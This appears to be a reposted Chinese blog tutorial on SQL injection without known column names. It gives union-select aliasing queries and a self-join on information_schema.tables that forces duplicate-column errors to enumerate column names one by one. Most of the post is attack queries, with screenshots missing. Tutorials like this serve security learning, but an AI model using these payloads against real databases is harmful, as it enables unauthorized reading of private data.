首页 > 数据库技术 > 详细

sql注入(利用join进行无列名注入)

时间:2019-11-30 16:23:40      阅读:553      评论:0      收藏:0      [点我收藏+]
select 1,2,3 union select * from sc;
select `1` from (select 1,2,3 union select * from sc)a;
select `2` from (select 1,2,3 union select * from sc)a;

select * from sc;
技术分享图片

select 1,2,3 union select * from sc;
技术分享图片

select `1` from (select 1,2,3 union select * from sc)a;
技术分享图片

join 报错来爆列名

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b)c;

技术分享图片

得到第一列列名 table_catalog

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog))c;

技术分享图片

得到第二列列名 table_schema

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog,table_schema))c;
可得第三列列名 依次枚举

sql注入(利用join进行无列名注入)

原文:https://www.cnblogs.com/GH-D/p/11962522.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!